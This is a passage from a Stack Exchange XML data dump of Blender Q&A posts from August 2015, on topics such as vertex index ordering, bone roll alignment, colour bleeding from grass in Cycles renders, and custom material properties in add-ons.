LastActivityDate="2015-08-28T09:54:51.833" Title="Rendered animation brightness shifted in some players but not others" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="12" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36573" PostTypeId="1" AcceptedAnswerId="36690" CreationDate="2015-08-28T04:57:49.700" Score="4" ViewCount="2116" Body="&lt;p&gt;Can such frames/videos be rendered in Blender Internal as well?&#xA;If not, how indirectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The below solution is great as long as you can write your own Python script and only render solid objects. When you need things like particles/hair, it won't work as those won't be reflected.&lt;/p&gt;&#xA;" OwnerUserId="16748" LastEditorUserId="16748" LastEditDate="2015-08-31T08:12:24.947" LastActivityDate="2015-09-01T05:49:19.250" Title="equirectangular rendering for Blender Internal?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36574" PostTypeId="2" ParentId="36549" CreationDate="2015-08-28T05:11:05.070" Score="1" Body="&lt;p&gt;It is deprecated since ages, but nobody dares to remove it from the API. Simply do not use it (and do not use position).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;world reference&lt;/strong&gt; describes changes along the scene's coordinate system (scene space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yhpfY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yhpfY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;local reference&lt;/strong&gt; describes changes along the object's origin (object space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nl8in.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nl8in.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-28T05:11:05.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36575" PostTypeId="2" ParentId="36563" CreationDate="2015-08-28T05:38:18.307" Score="1" Body="&lt;p&gt;It is always best to use the smallest number that will get the job done to a satisfactory level, but as far as I know, there is no absolute maximum number of tris in Blender. Partly, this is because the number is greatly hardware dependent. A user with a low end PC, with no additional RAM and an integrated graphics capability will not be able to use as large a file as a sophisticated user with much RAM, and a high end dedicated graphics card. There are no default tris counts for specific types of object, either. If you're using Blender to model the interior subcellular strutures of a bacterium, you may use several hundred tris on a mesh that if viewed at &quot;human scale&quot; you won't even be able to see. Developing objects for use in animation, will bring to bear other techniques, too, such as multiple levels of detail, where a building seen in high detail close up, is swapped out for a simple cube when the same building is to be seen as distant in the view of the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to how much subsidiary scenes and objects might affect the fps, that is dependent in part upon your graphics capability, the rendering engine you chose to use, and whether you're rendering for fast fps, or for high detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, the hardest and best rule of thumb about vertex density or triangle count, is use the smallest number you can to get the level of satisfaction you want. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-28T05:38:18.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36576" PostTypeId="2" ParentId="36563" CreationDate="2015-08-28T05:39:22.050" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a max tris count number that I should not exceed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing you need to worry about it. I'm sure nobody managed to get that many vertices that hit that limit and can still use Blender. Remember you have limited memory ;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a default tris count number for small(ornaments)/medium(furnitures)/big(houses/terrains) that I should be aware of? &#xA;  No&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;... do I keep checking till the fps drops and try to dissolve meshes afterwards?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is the purpose of profiling to identify bottlenecks. It depends how much effort you want to investigate in it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Objects in different layers or stand-by scenes that might appear briefly or not appear at all in the game affect the fps?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not loaded scenes just cost disk space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inactive objects (residing in hidden layers) just cost memory and load time, but no processing time while the game is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added Objects need additional processing time to get added (which just a little). After that they are treated as normal objects.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Objects with dynamic physics or objects with animations or characters with armatures or in general objects that interact with one way or another, do they need lower poly count than a similar one that would not act like the above and let's say would remain static and act as a decorative level asset?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Every detail causes costs in one way or the other. If you do not need a detail it is more efficient to skip that detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: A tree can have a lot of polygonal details for rendering but much less regarding physics. Other details are better presented in a texture rather then lots of polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general it is better to care such things when you have performance problems. Otherwise you spend time on aspects that might not be relevant to your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely this is different when working on large projects, with several team members, strict budget and deadlines. Even than you will hit performance issues.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-28T05:39:22.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36577" PostTypeId="1" AcceptedAnswerId="36579" CreationDate="2015-08-28T06:45:26.740" Score="22" ViewCount="17085" Body="&lt;p&gt;How does the program decide what indices to assign to vertices? If you create a primitive, are the indices generated randomly, or by some base primitive setting? If you extrude new vertices, will they be the next number in sequence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when you join two objects together that have the same indices used? Which points get reassigned, and by what logic? Can anything be done to control which get re-assigned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ways to recalculate, re-assign, or copy vertex indices?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2020-08-20T13:27:56.433" Title="How are vertex indices determined?" Tags="&lt;mesh&gt;&lt;scripting&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="36578" PostTypeId="1" CreationDate="2015-08-28T07:20:55.880" Score="4" ViewCount="425" Body="&lt;p&gt;Pose reverse fails, tried to rename some bones to check if there's a problem but it didn't change anything. Here's a gif:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/itMQi.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/itMQi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15028" LastActivityDate="2021-03-12T08:05:55.593" Title="Can't flip pose properly blender" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36579" PostTypeId="2" ParentId="36577" CreationDate="2015-08-28T08:35:52.517" Score="26" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How does the program decide what indices to assign to vertices?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;new vertexes are appended to the end of the vertex list&lt;/li&gt;&#xA;&lt;li&gt;duplicating vertexes adds them also to the end and their order is maintained&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;.. list too long..&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would be very time consuming to analyze every mesh operation/modifier and how it handles vertex indices and make a list for you (it will be like the above though in most cases if not in all). Instead you can reverse engineer this yourself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type &lt;code&gt;bpy.app.debug = True&lt;/code&gt; into the &lt;em&gt;Python Console&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will enable super top secret mode with next option available in &lt;em&gt;Properties&lt;/em&gt; panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvxC2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can see the indices and how they change for what you are interested in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aFveo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can anything be done to control which get re-assigned?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope, blender handles it internally.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there any ways to recalculate, re-assign, or copy vertex indices?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure, with python you can do anything to meshes, you can reorder the vertices. Just by building a new mesh with different vertex order from old one and then switching them.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-08-28T08:43:10.713" LastActivityDate="2015-08-28T08:43:10.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36580" PostTypeId="1" AcceptedAnswerId="36584" CreationDate="2015-08-28T10:01:54.633" Score="3" ViewCount="652" Body="&lt;p&gt;I have two bones. When i go in to pose mode an select each of them respectively, i can see that they have different coordinate systems / rotation matrices. How do i make them have the same Coordinate system / rotation matrix?&#xA;So the x-, y-, and z-axis is the same for each bone?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-08-28T11:09:32.770" Title="How to make two bones have the same rotation matrix?" Tags="&lt;armature&gt;&lt;bones&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36582" PostTypeId="2" ParentId="36570" CreationDate="2015-08-28T10:46:42.843" Score="4" Body="&lt;p&gt;You need to find the right path to the data you are looking for, using the python tooltips in blender can help here, they are enabled by default but if they have been turned off you can enable them in &lt;a href=&quot;http://www.blender.org/manual/preferences/interface.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;preferences&lt;/a&gt;. Searching through &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenders python api&lt;/a&gt; online can also help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First let's clarify your use case, you are setting &lt;code&gt;plane.game.physics_type&lt;/code&gt; so you may want to set the matching &lt;code&gt;plane.game.mass&lt;/code&gt; both of which are only relevant for the game engine physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ga6iw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ga6iw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the interactive physics available in the 3Dviewport then you will want to use &lt;code&gt;plane.rigid_body.type&lt;/code&gt; and &lt;code&gt;plane.rigid_body.mass&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kKE4F.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKE4F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-28T10:46:42.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36583" PostTypeId="1" AcceptedAnswerId="36620" CreationDate="2015-08-28T10:58:17.727" Score="2" ViewCount="6849" Body="&lt;p&gt;I am going to use some sculpting to give a better shape to a Game Character, so I would like to know if Sculpting may add more geometry, for an instance the F layer brush or the F blob brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZuxYc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuxYc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-28T21:48:57.990" Title="Does Sculpting create any new Geometry?" Tags="&lt;mesh&gt;&lt;sculpting&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36584" PostTypeId="2" ParentId="36580" CreationDate="2015-08-28T11:09:32.770" Score="2" Body="&lt;p&gt;First select the bones you want to have the same coordinate system, &lt;em&gt;make sure that the Active bone is the one rotation matrix you want to give to the other&lt;/em&gt;, now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to open the &lt;strong&gt;'Recalculate Roll'&lt;/strong&gt; properties and choose &lt;strong&gt;&lt;em&gt;Active Bone&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OunYb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OunYb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-28T11:09:32.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36585" PostTypeId="1" AcceptedAnswerId="36586" CreationDate="2015-08-28T11:25:00.163" Score="1" ViewCount="53" Body="&lt;p&gt;I did a Curve Bezier and I wrap with a Plane to make a ribbon.&#xA;When I try to copy it and rotate the ribbon(plane) is undone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the Curve Bezier. I did: Modifier / curve / object. Curve Bezier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=VTVgyjh4Yro&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=VTVgyjh4Yro&lt;/a&gt;  7:25&#xA;it's possible to copy the ribbon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7QJrU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QJrU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2015-08-28T12:12:07.010" Title="Cover the Curve Bezier with a Plane. It's impossible to duplicate it and R it" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36586" PostTypeId="2" ParentId="36585" CreationDate="2015-08-28T12:12:07.010" Score="1" Body="&lt;p&gt;To Duplicate it you should have &lt;strong&gt;both&lt;/strong&gt; objects selected the &lt;strong&gt;Plane&lt;/strong&gt; and the  &lt;strong&gt;Curve&lt;/strong&gt;, but in order to make it successfully the active object when you dublicate should be the &lt;strong&gt;Curve&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Your problem is that you selected only the plane when duplicating&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-28T12:12:07.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36587" PostTypeId="1" AcceptedAnswerId="36610" CreationDate="2015-08-28T12:53:05.910" Score="2" ViewCount="770" Body="&lt;p&gt;I'm working on my addon for Blender, which is a simple offline renderer.&#xA;I'm stuck at the material system for two days.&#xA;I would be much appreciated if anyone gives me a pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that in order to implement my own material system, I have to store my material information in the context.material class, however I've no idea how to add a customized property for this class.&#xA;I noticed that there are customized property for other external renderers, such as this one:&#xA;&lt;a href=&quot;http://www.mitsuba-renderer.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.mitsuba-renderer.org/&lt;/a&gt;&#xA;There is a property named &quot;context.material.mitsuba_material&quot;.&#xA;What I want is something like &quot;context.material.my_material&quot; so that I can store my material information there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found this class in the render addon script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@MitsubaAddon.addon_register_class&#xA;class mitsuba_material(declarative_property_group):&#xA;    '''&#xA;    Storage class for Mitsuba Material settings.&#xA;    '''&#xA;&#xA;    ef_attach_to = ['Material']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe it has something to do with this customized property, however I got no luck by implementing myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgive me if it is a silly question and I did googled it, got nothing useful yet.&lt;/p&gt;&#xA;" OwnerUserId="16754" LastEditorUserId="241" LastEditDate="2015-08-28T13:14:54.877" LastActivityDate="2015-08-31T11:42:18.627" Title="How to define customized property in Material?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36588" PostTypeId="2" ParentId="30924" CreationDate="2015-08-28T13:08:08.953" Score="4" Body="&lt;p&gt;They also accept 3D-360° renders. For those you need a build from the spherical-stereo branch. I keep them updated in my site, until we have it officially in Blender: [ &lt;a href=&quot;http://www.dalaifelinto.com/?p=1009&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; ]&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2015-08-28T13:08:08.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36589" PostTypeId="1" AcceptedAnswerId="36591" CreationDate="2015-08-28T13:13:14.980" Score="7" ViewCount="1023" Body="&lt;p&gt;In a blender cycles project I am working on, I made a scene that includes grass, and it all renders fine, but there is a rather serious green tint in the shadows under the deck. The lighting is a flattened sphere with the normals turned inward and a sky texture node applied to it. The grass has a simple dark-green hair texture node. Farther out, I have a flat plane that is also green, with a noise texture and color ramp to generate a sort of clumpy grass look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitely don't think I would see a green tint in real life, but I don't think a camera would have it either. I thought it was kind of interesting that it had such a sunrise/early morning feel to it when the sky texture has the sun straight overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C2SKH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C2SKH.png&quot; alt=&quot;Underneath the deck&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light Sphere nodes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sky Texture - Preetham, Turbidity 2.2, Vector from Texture Coordinate: Object Vector&lt;/li&gt;&#xA;&lt;li&gt;Emission texture - &lt;strong&gt;Strength: 1&lt;/strong&gt;, Color from Sky texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Grass nodes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hair BSDF - Color: Dark green, &lt;strong&gt;both roughness set to 1.0&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Grass plane nodes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Diffuse BSDF - Color: varied dark green, &lt;strong&gt;roughness: .358&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15859" LastEditorUserId="15859" LastEditDate="2015-08-28T13:33:44.423" LastActivityDate="2016-08-11T18:53:47.347" Title="How to get rid of unnatural green glare from grass?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36590" PostTypeId="1" CreationDate="2015-08-28T13:51:20.137" Score="2" ViewCount="97" Body="&lt;p&gt;Is it possible currently to replace the text in the Thumbnails font preview with a user defined text?&lt;br&gt;&#xA;Currently it displays default text that may not be helpful in searching for match for specific letter in the font because most of the letters are too small.&lt;/p&gt;&#xA;" OwnerUserId="16008" LastEditorUserId="2217" LastEditDate="2015-08-28T14:06:52.847" LastActivityDate="2015-08-28T19:33:15.243" Title="Custom Font Thumbnail" Tags="&lt;file-browser&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36591" PostTypeId="2" ParentId="36589" CreationDate="2015-08-28T14:01:57.620" Score="9" Body="&lt;h2&gt;Limit light bounces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The green colour comes from the light that bounces on the grass and the grass planes. As no direct light hits that surface, it is been colored by the indirect light only (which in your case is green). Because the walls are almost white, the effect is even stronger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a physically based behaviour. You can get more information by searching about &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Color_bleeding_%28computer_graphics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Color Bleeding&lt;/a&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fXJ9j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fXJ9j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the faces of the cubes inside the cornell box that don't get direct light gain the tint of the wall they are facing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to enable diffuse direct&amp;amp;indirect render passes and examine them and dedermine where the green comes from.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Anyway you can get rid of that by for example limiting the number of light bounces of the plane material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KN7Vn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KN7Vn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ray depth node will assign an empty shader to the material if it has done more than 0 bounces (direct light).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ndRgL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ndRgL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also work on the light path bounces in the render tab, but using the material nodes will give you full control on the single material, while preserving physically based behaviour of others.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you don't want to leave the physically based way, I would suggest to lower the saturation and the value of your grass plane and maybe make it less green, more brownish, as it would be in a real world. This is probably the real cause it looks so unnatural. &lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2016-08-11T18:53:47.347" LastActivityDate="2016-08-11T18:53:47.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36592" PostTypeId="1" AcceptedAnswerId="81524" CreationDate="2015-08-28T14:17:12.377" Score="1" ViewCount="1651" Body="&lt;p&gt;Using &quot;set Geometry to Origin&quot; doesn't do the last thing. I have a landscape and when i do this all the objects are moved to the origin, but e.g. the flowers or trees are in a completely different position (in the terrain).&lt;/p&gt;&#xA;" OwnerUserId="13620" LastEditorUserId="13620" LastEditDate="2017-06-17T10:30:23.813" LastActivityDate="2017-06-17T10:30:23.813" Title="Is there a possibility to move multiple objects to a deferred origin, but maintaining the space between them?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36594" PostTypeId="1" CreationDate="2015-08-28T14:26:34.397" Score="0" ViewCount="88" Body="&lt;p&gt;Is it possible to pin an object (lots of planes of fur) to, say a wolf, and make them move independently of each other(have them follow the part of the object they touch)? Or will I have to change all the planes to individual objects?&lt;/p&gt;&#xA;" OwnerUserId="16755" LastEditorUserId="2217" LastEditDate="2015-08-28T15:02:31.117" LastActivityDate="2015-08-28T15:02:31.117" Title="Pin fur-planes to object" Tags="&lt;objects&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36597" PostTypeId="1" CreationDate="2015-08-28T15:14:53.283" Score="0" ViewCount="266" Body="&lt;p&gt;I was making a game with objects that contain pretty complicated programming in the logic bricks. I want to make a new level with the same objects but just with a new venue. I just copy the items I need to the buffer and paste them in a new scene. When I click 'p' in that scene blender just closes directly. Same thing when making a new scene by linking the objects or object data and even with a full copy. Does anyone know what causes this problmem???&lt;/p&gt;&#xA;" OwnerUserId="16618" LastActivityDate="2015-08-28T15:14:53.283" Title="Blender crashes when playing (P) a duplicate scene in BGE" Tags="&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36599" PostTypeId="2" ParentId="36577" CreationDate="2015-08-28T15:53:27.763" Score="18" Body="&lt;p&gt;Jerryno did a great job of explaining mesh indexes in &lt;a href=&quot;https://blender.stackexchange.com/a/36579/2217&quot;&gt;his answer&lt;/a&gt;, so I will focus on:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Are there any ways to recalculate, re-assign, or copy vertex indices?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;Yes.&lt;/h2&gt;&#xA;&lt;p&gt;First let me clarify that there are more then just vertex indexes, faces and edges have indexes as well, but for the rest of this answer I will refer to just vertex indexes.&lt;/p&gt;&#xA;&lt;p&gt;The simplest way to reorder the vertex indexes is with the &lt;em&gt;Sort Mesh Elements&lt;/em&gt; tool, accessible from the 3D view header &lt;em&gt;Mesh&lt;/em&gt; &amp;gt; &lt;em&gt;Sort Elements&lt;/em&gt;. All the option in the dropdown menu run the same tool, and can be changed like any other operator by pressing &lt;kbd&gt;F6&lt;/kbd&gt; or in the &lt;a href=&quot;https://blender.stackexchange.com/a/23048/2217&quot;&gt;Operator Properties&lt;/a&gt; section of the tool shelf.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ynlYZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ynlYZ.png&quot; alt=&quot;menu item&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to do anything beyond reordering the indexes, that will require python.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-28T15:53:27.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36601" PostTypeId="2" ParentId="36232" CreationDate="2015-08-28T17:19:04.880" Score="11" Body="&lt;p&gt;I've found a method to do it. It's not perfect but it works :). It uses a &lt;strong&gt;&lt;em&gt;Particle Instance Modifier&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DCUFV.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DCUFV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3nz14.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3nz14.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Cube&lt;/em&gt; (place its origin point in the same place as emitter's origin point). Scale it along the Z axis, then Subdivide, so it has the same number of loop cuts as the number of segments of your hair particles. Go to &lt;em&gt;Object Mode&lt;/em&gt; and apply its transformations (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ajW7X.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajW7X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;Modifiers&lt;/em&gt; header and give it a &lt;strong&gt;&lt;em&gt;Particle Instance Modifier&lt;/em&gt;&lt;/strong&gt;. Enable the modifier's settings as pictured below. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/zLjh2.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zLjh2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may not work properly though. If something's wrong 